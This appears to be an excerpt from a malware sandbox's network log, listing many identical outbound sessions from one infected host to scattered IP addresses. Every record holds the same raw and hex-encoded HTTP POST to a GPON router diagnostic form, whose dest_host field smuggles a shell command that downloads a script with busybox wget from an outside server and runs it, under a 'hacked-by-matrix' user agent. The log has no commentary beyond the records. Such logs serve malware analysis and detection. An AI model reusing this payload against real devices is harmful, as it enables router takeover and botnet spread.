Mar 21, 2024 05:22:04.182317972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.14	58022	42.234.92.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182382107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.14	53208	2.147.238.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182419062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.14	35840	42.51.150.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182456017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.14	50134	178.36.62.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182471991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.14	42388	37.76.211.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182491064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.14	42502	37.248.187.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182519913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.14	47084	212.163.121.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182692051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.14	36752	79.191.163.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182692051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.14	52984	178.155.247.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182727098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.14	50886	210.170.80.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182769060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.14	54362	210.118.79.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182780981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.14	56606	42.191.100.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182821989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.14	43416	5.246.200.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182853937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.14	46172	109.70.163.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182898045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.14	40290	94.61.250.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182917118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.14	57672	94.164.26.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182934046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.14	53788	118.158.50.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182951927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.14	47382	178.218.205.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182991028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.14	50678	37.96.26.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183063030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.14	39408	94.228.96.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183113098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.14	37930	178.98.115.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183141947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.14	46538	2.116.125.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183168888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.14	33820	212.86.49.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183238983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.14	35092	42.41.199.46	443

Timestamp	Bytes transferred	Direction	Data
